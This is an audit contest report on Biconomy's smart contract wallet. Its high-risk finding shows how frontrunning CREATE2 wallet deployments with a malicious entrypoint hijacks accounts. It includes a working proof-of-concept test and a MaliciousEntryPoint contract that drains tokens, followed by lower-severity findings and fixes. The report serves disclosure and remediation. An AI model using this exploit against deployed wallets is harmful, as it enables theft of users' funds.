Biconomy - Smart Contract Wallet contest - horsefacts's results

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L33-L45

Vulnerability details

The SmartAccountFactory contract is responsible for deploying new smart account wallets. It exposes a deployCounterFactualWallet function that deploys a new wallet to a deterministic address using CREATE2, as well as a deployWallet function that uses CREATE.

SmartAccountFactory#deployCounterFactualWallet

function deployCounterFactualWallet(address _owner, address _entryPoint, address _handler, uint _index) public returns(address proxy) {
    bytes32 salt = keccak256(abi.encodePacked(_owner, address(uint160(_index))));
    bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl)));
    // solhint-disable-next-line no-inline-assembly
    assembly {
        proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
    }
    require(address(proxy) != address(0), "Create2 call failed");
    // EOA + Version tracking
    emit SmartAccountCreated(proxy,_defaultImpl,_owner, VERSION, _index);
    BaseSmartAccount(proxy).init(_owner, _entryPoint, _handler);
    isAccountExist[proxy] = true;
}

These factory deployment functions are public, and any caller may deploy a new wallet on behalf of any owner, by passing their address as the _owner argument.

A wallet's deterministic address is a function of 1) the factory contract's address, 2) a salt consisting of the hashed concatenation of the wallet's _owner and a numeric _index, and 3) the creation code of the Proxy contract. Since the factory contract address and Proxy code are fixed once deployed, a new wallet's address depends on the caller-provided _owner and _index parameters used to construct the CREATE2 salt.

Note that the salt does not include the _entryPoint or _handler addresses that are used to initialize the cloned smart account contract. This means smart wallets deployed with the same owner and index, but different entrypoint contracts and fallback handlers will be deployed to the same deterministic address.

An adversary can watch the mempool for legitmate wallet deployments and frontrun them, replacing the entrypoint or handler with a malicious contract under their control. A wallet deployed by an adversary will have the same deterministic address as a wallet deployed with legitimate dependencies, and emit the same SmartAccountCreated event with the same parameters as a legitimate deployment.

Since the entry point contract is authorized to execute arbitrary calls from the smart account, this gives the adversary full control over the smart account.

A malicious fallback handler contract can also be exploited to make calls from the smart account to an arbitrary contract controlled by the attacker. (For example, passing an ERC20 token as the fallback handler).

Note that the end user's legitimate deployment transaction will fail in this scenario, so it's possible for users to detect this attack.

Impact

• Best case: Since only one wallet can be deployed per unique salt, an adversary can block deployments for a specific owner by frontrunning all their deployments, even if the end user is aware of the attack. (Note that this griefing scenario is possible for nondeterministic deployments as well).
• Middle case: This exploit provides the foundation for a phishing attack, tricking users into deploying backdoored wallets from a fake or backdoored frontend UI.
• Worst case:
  • If a user ignores the failed deployment transaction and uses the maliciously deployed wallet (which will appear to be owned by their account and deployed to the correct address) an adversary can take full control of their account. Depending on how the frontend UI listens for deployment events and displays wallets, this could be more or less likely.
  • An adversary could pre-deploy backdoored wallets for known addresses of interest (perhaps by scraping addresses that have previously interacted with Biconomy). This is especially dangerous since addresses are deterministic cross-chain. A similar attack occured in June 2022, when an attacker predeployed known Gnosis Safe multisigs to their deterministic addresses on Optimism.

There is a lot of latitude here for creative attacks, and the worst case impact is significant, so I consider this high risk.

Test case

it("Wallet factory deployment frontrunning", async () => {
  // Mallory wants to exploit newly deployed smart wallets.
  const mallory = accounts[5];

  // Mallory deploys a malicious entry point contract. Since the
  // entrypoint has privileged access to execute transactions on
  // behalf of the wallet owner, she will have full control over
  // any wallet created with her malicious entrypoint.
  const MaliciousEntryPoint = await ethers.getContractFactory(
    "MaliciousEntryPoint"
  );
  const maliciousEntryPoint = await MaliciousEntryPoint.deploy();
  await maliciousEntryPoint.deployed();

  // The deterministic address of a given wallet does *not* depend on
  // the entrypoint or fallback handler address. It depends only on the
  // owner, index, and creation code of the proxy contract. This means
  // a wallet deployed with Mallory's malicious contract as its entrypoint
  // will have the same address as a wallet deployed with legitimate dependencies.
  const expectedAddress = await walletFactory.getAddressForCounterfactualWallet(
    owner,
    0
  );

  // Mallory watches for a legitimate deployment transaction and frontruns it,
  // replacing the transaction's entrypoint argument with the address of her
  // malicious contract. Since there are no restrictions on the caller,
  // anyone can deploy a wallet for any other address. The malicious deploy
  // will emit the same event with the same parameters as a legitimate deploy.
  expect(
    walletFactory.deployCounterFactualWallet(
      owner,
      maliciousEntryPoint.address,
      handler.address,
      0
    )
  )
    .to.emit(walletFactory, "SmartAccountCreated")
    .withArgs(expectedAddress, baseImpl.address, owner, VERSION, 0);

  // The original deploy transaction will revert with an error when it
  // attempts to deploy to the same address. (Note that this expectation
  // verifies that the malicious wallet and legitimate wallet are generated
  // with the same counterfactual address).

  // If the end user ignores the failed tx, or the off chain UI is listening
  // for the "SmartAccountCreated" event, it will now appear as if the
  // user's wallet has been deployed.
  expect(
    walletFactory.deployCounterFactualWallet(
      owner,
      entryPoint.address,
      handler.address,
      0
    )
  ).to.be.revertedWith("Create2 call failed");

  userSCW = await ethers.getContractAt(
    "contracts/smart-contract-wallet/SmartAccount.sol:SmartAccount",
    expectedAddress
  );

  // According to the factory, a smart wallet now exists with the
  // expected address:
  expect(await walletFactory.isAccountExist(expectedAddress)).to.eq(true);

  // ...and the expected account is its owner.
  expect(await userSCW.owner()).to.equal(owner);

  // However, as soon as tokens are sent to the safe...
  console.log("sending tokens to the safe..");
  await token
    .connect(accounts[0])
    .transfer(userSCW.address, ethers.utils.parseEther("100"));
  expect(await token.balanceOf(userSCW.address)).to.eq(
    ethers.utils.parseEther("100")
  );

  // Mallory can use her malicious entrypoint to steal them.
  // Stealing tokens is just one example, but Mallory has full
  // control to execute any transaction from the smart account.
  await maliciousEntryPoint
    .connect(mallory)
    .exec(
      userSCW.address,
      token.address,
      0,
      token.interface.encodeFunctionData("transfer", [
        mallory.address,
        ethers.utils.parseEther("100"),
      ]),
      0,
      ethers.constants.MaxUint256
    );
  expect(await token.balanceOf(userSCW.address)).to.eq(
    ethers.utils.parseEther("0")
  );
  expect(await token.balanceOf(mallory.address)).to.eq(
    ethers.utils.parseEther("100")
  );
});

MaliciousEntryPoint.sol:

// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.12;

import "../common/Enum.sol";

interface ISmartAccount {
  function execFromEntryPoint(
    address dest,
    uint value,
    bytes calldata func,
    Enum.Operation operation,
    uint256 gasLimit
  ) external returns (bool success);
}

contract MaliciousEntryPoint {
  function exec(
    address wallet,
    address dest,
    uint value,
    bytes calldata func,
    Enum.Operation operation,
    uint256 gasLimit
  ) external returns (bool) {
    return
      ISmartAccount(wallet).execFromEntryPoint(
        dest,
        value,
        func,
        operation,
        gasLimit
      );
  }
}

Recommendation

There are several ways to mitigate this attack. Any or all of the following are possible options:

A. Include the entrypoint and handler address as components of the CREATE2 salt:

bytes32 salt = keccak256(abi.encodePacked(_owner, address(uint160(_index)), _entryPoint, _handler));

Wallets with different entrypoints will generate different addresses.

B. Prevent third party callers from deploying a smart account on behalf of another user, and use msg.sender as the owner address when deploying a new smart account. Alternatively, require a valid signature from the _owner as an argument to the deployment function to authorize a third party deployment.

C. Use an allowlist to track authorized entrypoint and handler addresses and revert deployments that attempt to deploy with unknown addresses.

Additionally, log the _entryPoint and _handler addresses in the SmartAccountCreated event, which makes this attack easier to detect.

Finally, consider how your frontend UI would display a malicious wallet created in this scenario, and whether or not it would be visible to the end user.

See Also

• Finding C-01 in OpenZeppelin's Augur Core V2 audit, which describes a similar frontrunning scenario.
• "Backdooring Gnosis Safe Multisig Wallets", which describes a similar phishing scenario.

Low

SmartAccount: Initialize implementation contract

SmartAccount has an unprotected intializer that can be called by anyone to claim ownership of the contract.

    // init
    // Initialize / Setup
    // Used to setup
    // i. owner ii. entry point address iii. handler
    function init(address _owner, address _entryPointAddress, address _handler) public override initializer {
        require(owner == address(0), "Already initialized");
        require(address(_entryPoint) == address(0), "Already initialized");
        require(_owner != address(0),"Invalid owner");
        require(_entryPointAddress != address(0), "Invalid Entrypoint");
        require(_handler != address(0), "Invalid Entrypoint");
        owner = _owner;
        _entryPoint =  IEntryPoint(payable(_entryPointAddress));
        if (_handler != address(0)) internalSetFallbackHandler(_handler);
        setupModules(address(0), bytes(""));
    }

Since clones are deployed and initialized atomically through SmartAccountFactory, this is not an issue, but it's important to initialize the implementation contract itself. If the implementation is left unitialized, anyone can claim ownership and destroy the contract, destroying any deployed smart accounts.

One simple way to prevent intialization of an implementation using OpenZeppelin Initializable is to call _disableInitializers() in the constructor:

constructor() {
    _disableInitializers();
}

Alternatively, initialize the implementation contract yourself as part of deployment. Ideally, do so atomically in a single transaction using a multicall or deployer contract. (Otherwise, there's still a risk that the initialization transaction could be frontrun). Note that the current Hardhat deployment scripts in this repository do not initialize the implementation contract.

SmartAccount: Users can destroy their smart account with delegatecall

It's possible for users to destroy their smart wallets by delegatecalling a function that calls selfdestruct via SmartAccount#execute.

In a multisig wallet with multiple signers, requireing multiple reviews and approvals for each transaction help detect and mitigate accidentally destructive actions. Since smart accounts have a single signer, the risk of accidentally destroying a wallet is much higher. Make sure any use of delegatecall is clearly flagged in the UI, warn or prevent delegatecall to unkown contracts, and consider removing this ability altogether.

SmartAccount: Users can overwrite sensitive storage variables with delegatecall

Similar to the previous finding, it's possible for users to overwrite important storage variables like owner, _initialized, and _entryPoint by delegatecalling functions on a contract with an overlapping storage layout. Make sure any use of delegatecall is clearly flagged in the UI, and consider removing this ability altogether.

Noncritical

SmartAccount: Missing reentrancy guard initializer

OpenZeppelin ReentrancyGuardUpgradeable includes an initializer, but this function is not called in SmartAccount#init:

    // init
    // Initialize / Setup
    // Used to setup
    // i. owner ii. entry point address iii. handler
    function init(address _owner, address _entryPointAddress, address _handler) public override initializer {
        require(owner == address(0), "Already initialized");
        require(address(_entryPoint) == address(0), "Already initialized");
        require(_owner != address(0),"Invalid owner");
        require(_entryPointAddress != address(0), "Invalid Entrypoint");
        require(_handler != address(0), "Invalid Entrypoint");
        owner = _owner;
        _entryPoint =  IEntryPoint(payable(_entryPointAddress));
        if (_handler != address(0)) internalSetFallbackHandler(_handler);
        setupModules(address(0), bytes(""));
    }

This does not have a security impact, since the reentrancy guard will be correctly applied on the first re-entrant call, but it doesmake the first re-entrant call more expensive.

Suggestion:

    // init
    // Initialize / Setup
    // Used to setup
    // i. owner ii. entry point address iii. handler
    function init(address _owner, address _entryPointAddress, address _handler) public override initializer {
        require(owner == address(0), "Already initialized");
        require(address(_entryPoint) == address(0), "Already initialized");
        require(_owner != address(0),"Invalid owner");
        require(_entryPointAddress != address(0), "Invalid Entrypoint");
        require(_handler != address(0), "Invalid Entrypoint");
        __ReentrancyGuard_init();
        owner = _owner;
        _entryPoint =  IEntryPoint(payable(_entryPointAddress));
        if (_handler != address(0)) internalSetFallbackHandler(_handler);
        setupModules(address(0), bytes(""));
    }

SmartAccountFactory: Missing SmartAccountCreated event in deployWallet

SmartAccountFactory#deployCounterFactualWallet emits a SmartAccountCreated event that logs information about the newly created smart wallet, but deployWallet omits this event:

SmartAccountFactory#deployWallet

    function deployWallet(address _owner, address _entryPoint, address _handler) public returns(address proxy){
        bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl)));
        // solhint-disable-next-line no-inline-assembly
        assembly {
            proxy := create(0x0, add(0x20, deploymentData), mload(deploymentData))
        }
        BaseSmartAccount(proxy).init(_owner, _entryPoint, _handler);
        isAccountExist[proxy] = true;
    }

Suggested:

    function deployWallet(address _owner, address _entryPoint, address _handler) public returns(address proxy){
        bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl)));
        // solhint-disable-next-line no-inline-assembly
        assembly {
            proxy := create(0x0, add(0x20, deploymentData), mload(deploymentData))
        }
        emit SmartAccountCreated(proxy, _defaultImpl, _owner, VERSION, _index);
        BaseSmartAccount(proxy).init(_owner, _entryPoint, _handler);
        isAccountExist[proxy] = true;
    }

Additionally, consider adding _entrypoint and _handler as parameters to the SmartAccountCreated event.

SmartAccount: Prefer block.chainid to inline assembly

SmartAccount#getChainId uses inline assembly to read the current chain ID:

    /// @dev Returns the chain id used by this contract.
    function getChainId() public view returns (uint256) {
        uint256 id;
        // solhint-disable-next-line no-inline-assembly
        assembly {
            id := chainid()
        }
        return id;
    }

In solidity 0.8.12, the block global includes a chainid member that returns the current chain ID without the need for inline assembly.

Suggestion:

    /// @dev Returns the chain id used by this contract.
    function getChainId() public view returns (uint256) {
        return block.chainid;
    }

LibAddress: Prefer address.code.length to inline assembly

LibAddress#isContract uses inline assembly to read the codesize of a given address:

  function isContract(address account) internal view returns (bool) {
    uint256 csize;
    // solhint-disable-next-line no-inline-assembly
    assembly { csize := extcodesize(account) }
    return csize != 0;
  }

In solidity 0.8.12, the address type includes a code member with a length attribute that returns its codesize without the need for inline assembly. (Under the hood this uses the EXTCODESIZE opcode directly and is equivalent to the assembly above).

Suggestion:

  function isContract(address account) internal view returns (bool) {
    return account.code.length != 0;
  }

SmartAccount: Typo in initializer revert string

The revert string for "Invalid Handler" accidentally duplicates the error message for "Invalid Entrypoint."

SmartAccount#init:

    // init
    // Initialize / Setup
    // Used to setup
    // i. owner ii. entry point address iii. handler
    function init(address _owner, address _entryPointAddress, address _handler) public override initializer {
        require(owner == address(0), "Already initialized");
        require(address(_entryPoint) == address(0), "Already initialized");
        require(_owner != address(0),"Invalid owner");
        require(_entryPointAddress != address(0), "Invalid Entrypoint");
        require(_handler != address(0), "Invalid Entrypoint");
        owner = _owner;
        _entryPoint =  IEntryPoint(payable(_entryPointAddress));
        if (_handler != address(0)) internalSetFallbackHandler(_handler);
        setupModules(address(0), bytes(""));
    }

Executor: Index to addresses

The Executor contract extends the Gnosis Executor contract with additional ExecutionFailure and ExecutionSuccess events:

Executor

    event ExecutionFailure(address to, uint256 value, bytes data, Enum.Operation operation, uint256 txGas);
    event ExecutionSuccess(address to, uint256 value, bytes data, Enum.Operation operation, uint256 txGas);

Consider indexing the to address in these events, to enable filtering for all transactions to a specific destination address.

FallbackManager, Singleton, Proxy: Inconsistent calculation of storage slots

FallbackManager, Proxy, and Singleton all use a keccak hash to generate a deterministic, unallocated storage slot. However, FallbackManager is inconsistent with the other two, since it does not subtract one from the hash value. It's a good practice to subtract 1 from the hash value to ensure that the storage slot is not associated with a known hash preimage. (See EIP-1967 for more).

FallbackManager:

    // keccak256("fallback_manager.handler.address")
    bytes32 internal constant FALLBACK_HANDLER_STORAGE_SLOT = 0x6c9a6c4a39284e37ed1cf53d337577d14212a4870fb976a4366c693b939918d5;

Proxy:

    /* This is the keccak-256 hash of "biconomy.scw.proxy.implementation" subtracted by 1, and is validated in the constructor */
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x37722d148fb373b961a84120b6c8d209709b45377878a466db32bbc40d95af26;

Singleton:

    /* This is the keccak-256 hash of "biconomy.scw.proxy.implementation" subtracted by 1 */
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x37722d148fb373b961a84120b6c8d209709b45377878a466db32bbc40d95af26;

Enum: Declare enum outside of contract

In Solidity 0.8.12, it's not necessary to declare enums inside a contract. Consider declaring the Operation enum outside the contract and importing it wherever it's used, rather than via inheritance.

Enum:

/// @title Enum - Collection of enums
contract Enum {
    enum Operation {Call, DelegateCall}
}

Suggestion:

enum Operation {Call, DelegateCall}

SmartAccountFactory: isAccountExist will return true for destroyed wallets

It's possible for the owner of a smart account wallet to intentionally destroy it with a delegatecall that calls selfdestruct. In this scenario, isAccountExist will return true for destroyed smart wallets. It's not clear how this function will be used, but be aware of this possibility.